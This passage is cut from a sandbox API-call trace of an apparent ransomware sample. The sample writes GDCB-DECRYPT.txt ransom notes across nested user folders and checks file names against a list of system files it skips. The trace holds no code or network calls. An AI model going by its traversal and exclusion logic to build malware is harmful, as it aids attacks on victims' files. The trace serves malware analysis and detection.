data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\profiles\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.427] GetLastError () returned 0x3 [0170.427] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned 262 [0170.427] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned 262 [0170.427] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned 262 [0170.427] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned 262 [0170.427] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.427] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.427] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.427] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.427] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.427] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.427] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.427] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.427] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.427] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.427] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.427] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.427] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.427] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\\\GDCB-DECRYPT.txt") returned 274 [0170.427] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.427] GetLastError () returned 0x3 [0170.428] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.428] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.428] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.428] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.428] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\\\GDCB-DECRYPT.txt") returned 280 [0170.428] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.428] GetLastError () returned 0x3 [0170.428] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.428] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.428] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.428] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.428] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\\\GDCB-DECRYPT.txt") returned 291 [0170.428] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.428] GetLastError () returned 0x3 [0170.428] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.428] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.428] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.428] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.428] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\CEF\\\\GDCB-DECRYPT.txt") returned 278 [0170.428] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\CEF\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\cef\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.428] GetLastError () returned 0x3 [0170.428] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.428] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.428] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.428] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.429] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\\\GDCB-DECRYPT.txt") returned 280 [0170.429] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\comms\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.429] GetLastError () returned 0x3 [0170.429] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDCB-DECRYPT.txt") returned 273 [0170.429] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDCB-DECRYPT.txt") returned 273 [0170.429] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDCB-DECRYPT.txt") returned 273 [0170.429] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDCB-DECRYPT.txt") returned 273 [0170.429] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.429] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.429] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.429] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.429] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.429] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.429] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.429] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.429] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.429] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.429] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.429] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.429] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.429] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\\\GDCB-DECRYPT.txt") returned 281 [0170.429] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.429] GetLastError () returned 0x3 [0170.429] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.429] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.429] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.429] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.429] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\\\GDCB-DECRYPT.txt") returned 282 [0170.429] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.429] GetLastError () returned 0x3 [0170.429] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db") returned 269 [0170.429] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db") returned 269 [0170.429] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db") returned 269 [0170.429] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db") returned 269 [0170.429] lstrcmpiW (lpString1="IconCache.db", lpString2="desktop.ini") returned 1 [0170.430] lstrcmpiW (lpString1="IconCache.db", lpString2="autorun.inf") returned 1 [0170.430] lstrcmpiW (lpString1="IconCache.db", lpString2="ntuser.dat") returned -1 [0170.430] lstrcmpiW (lpString1="IconCache.db", lpString2="iconcache.db") returned 0 [0170.430] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.430] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.430] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.430] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.430] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\\\GDCB-DECRYPT.txt") returned 284 [0170.430] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.430] GetLastError () returned 0x3 [0170.430] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.430] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.430] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.430] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.430] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\MicrosoftEdge\\\\GDCB-DECRYPT.txt") returned 288 [0170.430] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\MicrosoftEdge\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoftedge\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.430] GetLastError () returned 0x3 [0170.430] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.430] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.430] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.430] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.430] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\\\GDCB-DECRYPT.txt") returned 282 [0170.430] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\mozilla\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.430] GetLastError () returned 0x3 [0170.430] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.430] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.430] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.430] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.430] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\\\GDCB-DECRYPT.txt") returned 283 [0170.431] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.431] GetLastError () returned 0x3 [0170.431] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.431] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.431] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.431] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.431] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\PeerDistRepub\\\\GDCB-DECRYPT.txt") returned 288 [0170.431] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\PeerDistRepub\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\peerdistrepub\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.431] GetLastError () returned 0x3 [0170.431] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.431] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.431] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.431] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.431] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Publishers\\\\GDCB-DECRYPT.txt") returned 285 [0170.431] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Publishers\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\publishers\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.431] GetLastError () returned 0x3 [0170.431] SHGetSpecialFolderPathW (in: hwnd=0x0, 